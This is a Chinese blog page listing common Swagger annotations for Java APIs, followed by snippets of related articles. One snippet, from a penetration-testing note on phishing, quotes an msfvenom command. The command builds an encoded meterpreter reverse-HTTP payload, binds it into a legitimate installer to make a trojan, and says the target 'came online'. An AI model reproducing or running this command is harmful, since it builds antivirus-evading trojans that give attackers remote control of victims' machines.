Swagger关于api注释的注解

Pancras_gc Pancras_gc 博客等级 墨衍会员 · AI 创作全网分发 墨衍智能分发 本文由作者通过墨衍一键同步至各平台 1分发平台 200+累计阅读 297平均单平台 已同步平台 优快云 微信公众号 微博 知乎 掘金 百家号 博客园 抖音 小红书 你的文章也可以这样分发 墨衍会员 ¥399起/年，写一次发全网 我也要 码龄10年
关注
原创 最新推荐文章于 2026-04-21 11:33:53 发布 297 阅读 AI 写同款· GEO 优化 ›
Springfox Swagger2从入门到精通 Swagger 是一种用于设计、构建、文档化和使用 RESTful API 的工具。Springfox 是 Swagger 在 Spring 应用中的集成库，提供了自动生成 API 文档的功能。在本文中，我们将探讨如何使用 Springfox Swagger2 在 Spring Boot 项目中生成、配置和使用 API 文档。 阅读详情

常用注解：

  • @Api()用于控制类；
    表示标识这个类是swagger的资源
  • @ApiOperation()用于控制类方法；
    表示一个http请求的操作
  • @ApiParam()用于方法，参数，字段说明；(一般是参数)
    表示对参数的添加元数据（说明或是否必填等）
  • @ApiModel()用于类(实体类)
    表示对类进行说明，用于参数用实体类接收
  • @ApiModelProperty()用于方法，字段(实体类字段)

特别说明:

@Api(tags = "Hello控制器") 使用tags才能生效

详细用法点这里

收录于
Swagger

当前文章被收录于：

Swagger
2 篇文章 0 人学习
订阅专栏 查看详情
标签
#java
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
手把手教你用闲置安卓手机+蓝鲸支付，零成本搞定个人项目自动收款（附私有化部署教程） 本文详细介绍了如何利用闲置安卓手机和蓝鲸支付系统，零成本搭建个人项目自动收款解决方案。通过私有化部署教程，读者可以学习到从手机选择、系统配置到支付渠道对接的全流程，实现安全、高效的收款系统，特别适合个人开发者和小型项目使用。 阅读详情

相关推荐

MPC模型预测控制实战：从理论到代码实现（Python示例）

本文详细介绍了MPC模型预测控制的实战应用，从理论到Python代码实现。通过构建系统模型、预测方程、优化问题及约束处理，展示了如何实现一个完整的MPC控制器。文章还提供了水箱液位控制的应用案例，帮助读者掌握MPC在工业控制中的实际应用。

weixin_42653691的博客 460

Swagger的配置的常见注解

Swagger是最受欢迎的API文档规范之一。它允许您使用json或yaml元数据描述API的属性。它还提供了一个Web UI，它可以将元数据转换为一个很好的HTML文档。本文介绍了Swagger的配置的使用方法

八月风的博客 1469

ISP Tuning实战：从零开始调校相机传感器的完整流程（附避坑指南）

本文详细介绍了ISP Tuning的完整实战流程，即如何从零开始调校相机传感器以优化成像质量。内容涵盖从黑电平校正、镜头阴影校正等基础标定，到自动曝光、伽马校正、色彩校正等核心画质调校，再到降噪与锐化的平衡策略，并提供了关键的避坑指南。掌握ISP Tuning是提升相机传感器性能、实现从‘能用’到‘好用’的关键技术。

weixin_32098457的博客 196

Swagger API 注解说明

用于描述 API 操作方法可能出现的错误情况，不过在一些常见的 Swagger 版本（如基于 Springfox 实现的 Swagger）中，可能并没有直接使用这个注解来描述错误情况，更多的是通过。方法上，清晰地说明了每个方法的具体功能，如 “获取所有用户信息” 和 “根据用户 ID 获取特定用户信息”，这些描述会在 Swagger UI 中对应方法的展示区域显示出来。：用于描述一个具体的 API 操作方法，通常标注在控制器类中的方法上，用来详细说明该方法所实现的功能。表示这些属性在该模型中是必需的。

haotian_guo的博客 2339

【渗透测试笔记】之【钓鱼姿势——exe捆绑与免杀】

准备被捆绑程序： 输入：msfvenom -p windows/meterpreter/reverse_http lhost=x.x.x.x lport=55555 -e x86/shikata_ga_nai -i 15 -f exe -b '\x00\x0a\x0d' -x ~/Desktop/inst.exe > ~/Desktop/Trojan/test_msf_360.exe 目标主机执行，成功上线： ...

AA8j的博客 7650

从一个 ASIN 看透亚马逊：商品模型背后的增长飞轮

在亚马逊电商体系中，每件商品背后都有一套严密的商品建模逻辑。本篇文章以“ASIN 的一生”为线索，系统拆解了亚马逊的商品模型：从飞轮战略出发，剖析 SDP（Single Detail Page）机制如何实现标准化展示；再到 ASIN 编码、父子变体结构与 Offer 分离模型，逐层解析商品信息如何被建构、聚合与呈现。通过图解与案例，文章帮助读者理解商品建品流程、同款聚合原则、价格控制机制等核心逻辑，避免常见运营误区，是一份面向运营、产品、技术人员的实用参考指南。

曾经“等你生日那天”都遥远得像未来，如今却可欢愉的挥手说“下个十年见” 13万+

在Swagger（现称为OpenAPI）中各类@api之间的区别

Api：为整个控制器类提供高层次的描述。：针对每个具体的方法，描述其功能和用途。@ApiParam和：详细描述方法参数和隐式参数。和：描述API操作可能产生的各种响应情况。通过合理使用这些注解，开发者可以生成结构清晰、易于理解的API文档，这不仅有助于团队内部的协作，也能为外部用户提供更好的指导和支持。

qq_43518966的博客 682

深度剖析OpenHarmony AI Engine：开发板端侧大模型推理插件机制全链路拆解

/ 加载动态库// 获取符号地址// 关闭动态库// 获取错误信息public:// 单例获取// 销毁实例// 加载插件// 卸载插件private:// 获取插件实例// 插件映射锁// 插件映射表public:Plugin();~Plugin();// 加载算法// 卸载算法// 获取算法实例// 设置算法实例private:// 算法接口指针// 动态库句柄// 算法ID// 版本信息// 配置信息字符串int len;

m0_67505153的博客 509

api在线文档swagger常用的注解

背景：最近做前后端分离开发，我负责后端接口提供，自然少不了api接口文档。选择了比较容易上手的swagger。 1.@Api(tags = "案例管理") 解释：这个注解用在Controller类上面,tags是接口模块的名称。 代码截图： 效果截图： 2、@ApiOperation(value = "查询案例管理列表",notes = "页码为必要参数，时间格式: 年-月-日") 解释：这个注解是接口方法上使用的，value是这个接口方法的功能描述，notes属性是强调的注..

qq_16334741的博客 3294

OpenCV实战之人脸美颜美型（八）——大眼（上）

从大众审美的角度来看，眼睛适当的“变大”会让人显得更加年轻。因此美型中就有一项大眼功能，其效果就是让眼睛适当变大，这章内容就围绕着大眼算法展开。

On my way 1211

低功耗 AI 人体存在检测系统：智能照明与安防的高效解决方案

低功耗 AI 人体存在检测系统通过 “ESP32-C3 主控 + HX7110 AI 模块” 的硬件组合，搭配双重检测算法与深度睡眠机制，既解决了传统检测方案的误报问题，又满足了长时间低功耗运行需求。系统接线简单、代码可直接移植，可快速集成到智能照明、安防监控等物联网设备中，具备广泛的应用前景。

weixin_42300449的博客 226

swagger的@Api() @ApiOperation() 和@ApiModelProperty()

swagger的@Api() @ApiOperation() 和@ApiModelProperty()

weixin_58216079的博客 896

【OpenClaw企业级智能体实战】第32篇：政企版OpenClaw安全落地指南——奇安信55页报告深度拆解与实战

2026年Q2，OpenClaw（俗称“龙虾”）安全风险集中爆发，公安部、工信部等监管机构密集发声，23万公网暴露实例、155个高危漏洞让企业“养虾”安全压力骤增。奇安信发布的55页《政企版龙虾安全使用指南》，以“看得清、管得住、用得好”为核心，构建了“端-网-云”三层防护体系。本文深度拆解这份报告的九大安全面与三大趋势，全景扫描奇安信、腾讯、360等头部厂商安全方案，提炼企业最低安全基线与实操配置，通过金融机构虚拟案例演示落地全流程，提供从资产摸底、规范制定到工具部署的完整解决方案。

专注于人工智能、软件开发、工控自动化、工厂数字化及智能化等领域，希望和大家共同进步！ 573

swagger注解说明_swagger注释API详细说明

转载：https://blog.youkuaiyun.com/xupeng874395012/article/details/68946676链接：https://www.jianshu.com/p/12f4394462d5API详细说明注释汇总作用范围API使用位置对象属性@ApiModelProperty用在出入参数对象的字段上协议集描述@Api用于controller类上协议描述@ApiOperatio...

weixin_39855186的博客 414

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf：最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版，包括SDIO 接口的外设，SDIO 接口官方协议等。

IEM模型，地表粗糙度模拟

利用微波反演土壤水分时候，利用IEM模型可以实现对随机地表的模拟

swagger php api 注释,Swagger php注解常用语法梳理

快速编写你的 RESTFUL API 接口文档工具，通过注释定义接口和模型，可以和代码文件放置一起，也可以单独文件存放。Swagger 优势通过代码注解定义文档，更容易保持代码文档的一致性模型复用，减少文档冗余，带来更可靠的文档提供客户端访问接口，可以直接调试接口，不需要第三方工具进行调用测试接口支持权限认证，等功能下面详细介绍下Swagger的参数、对象和编写规范；一下是以Laravel 和Sw...

weixin_36301419的博客 1459

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

swagger注释HTML,Swagger注解生成Rest Api文档

背景服务端开发同学需要花很多时间编写和维护大量的Rest接口文档，且往往接口修改后没有及时同步文档，让对接方和后续维护者一头雾水。有没有一种方式可以相对容易地生成可读性好的Rest文档，并且做到与代码同步？目标通过Swagger注释自动生成Rest文档接口。通过Swagger2Markup生成静态文档(html/markdown/wiki)使用Swagger注解自动生成Rest文档接口maven引...

weixin_39956009的博客 258

efm32 入门.pdf

本PDF共计22页，介绍的是操作驱动API，下载与否自己斟酌。

swagger 注解的使用

swagger注解 API详细说明 注释汇总 作用范围 API 使用位置 对象属性 @ApiModelProperty 用在出入参数对象的字段上 协议集描述 @Api 用于controller类上 协议描述 @ApiOperation 用在controller的方法上 Response集 @ApiResponses ...

qq_39879632的博客 263

swagger返回map字段注释

1.效果图如下： 2.controller层代码： import java.util.HashMap; import java.util.Map; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; impor

web15286201346的博客 748

关于Swagger @ApiModel 返回内容注释不显示问题

今天做了一天@ApiModel希望Swagger生成的文档出现返回的内容注释，发现需要用到@ApiModel注解到你需要返回的类上 @ApiModelProperty作为字段的描述 例如  之后文档还是不显示返回内容的注释， 原来是因为封装的返回类没做泛型 需要加入泛型 封装的返回类加入泛型之后，还需要在你Controller返回的数据也加上泛型，不然还是展示不出来的 这样，...

Lowi的博客 12万+

【ASP.NET Core 基础知识】--Web API--Swagger文档生成

自定义Swagger UI的外观是一种常见的需求，特别是当你希望使API文档与应用程序的整体风格一致时。在Swagger UI中，你可以通过引入自定义的CSS样式表来修改外观。首先，创建一个包含自定义样式的CSS文件（例如，custom.css），然后在Swagger UI配置中引入这个样式表：app.UseSwaggerUI(c =>// 引入自定义样式表});Swagger UI允许你调整主题和颜色，使其符合应用程序的外观。你可以通过配置Theme和。

喵叔 3268

代替swagger，Git拉去代码解析注释生成文档，gorgeous-doc华丽的文档

Git地址：https://gitee.com/lanyanhua/gorgeous-doc 演示地址：http://47.100.15.244/gorgeous/docs 联系方式：qq：3092575337、wx：lanyanhua1024、email：lanyanhua1024@163.com 特点： 通过git拉去项目文件进行解析注释注解生成API文档 零侵入，无需任何配置，独立运行，注释生成文档，支持读取swagger注解，自定义注释配置，在线调试 无损替换： 项目已引用swag.

lanyanhua的博客 1925

mall整合Swagger-UI实现在线API文档

本文主要讲解mall是如何通过整合Swagger-UI来实现一份相当完善的在线API文档的。 项目使用框架介绍 Swagger-UI Swagger-UI是HTML, Javascript, CSS的一个集合，可以动态地根据注解生成在线API文档。 常用注解 @Api：用于修饰Controller类，生成Controller相关文档信息 @ApiOperation：用于修饰Controlle...

weixin_33912453的博客 182

java接口废弃注释_Spring Boot如何让Web API自动生成文档，并解决swagger-annotations的API注解description属性废弃的问题...

前后端分离的系统架构中，前端开发人员需要查看后端WEB API的文档来进行开发。采用后端API文档自动生成的方式，可以大幅提高开发效率。swagger是一个被广泛使用的文档自动生成工具，可以与多种编程语言结合使用。我们可以利用合适的jar包，让swqgger来协助java开发。本文讲述了如何把 swagger 与 Spring Boot 框架结合起来使用。我用一个项目来解释如何完成上述的目标。打开...

weixin_33331021的博客 2865

swagger注解的简单使用

关于Java Web配置swagger的方法看这一篇：https://blog.youkuaiyun.com/qq1332479771/article/details/91399208 本篇，就要介绍下在一个XXXController.java中，swagger的常用注解怎么用。 直接看Demo 代码 import io.swagger.annotations.Api; import io.swagger.a...

永立的专栏 852

Earthworm文档自动化：API文档与代码注释生成

你是否还在为以下问题而烦恼？ - API接口变更频繁，文档总是滞后于代码 - 前后端联调时，接口文档不准确导致沟通成本高 - 手动维护Swagger文档，重复劳动且容易出错 - 新成员接入项目时，缺乏清晰的API指导 Earthworm项目通过NestJS Swagger自动化方案，完美解决了这些痛点！本文将带你深入了解如何实现API文档与代码注释的自动化生成。 ## ???? Earthwor...

gitblog_00144的博客 721
上一篇： springboot集成Swagger
下一篇： 异步任务demo(多线程)
点赞 0
评论 0
书签 书签 0
Pancras_gc
Pancras_gc
博客等级 码龄10年 2粉丝 37原创
+ 关注 专栏目录 订阅专栏
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值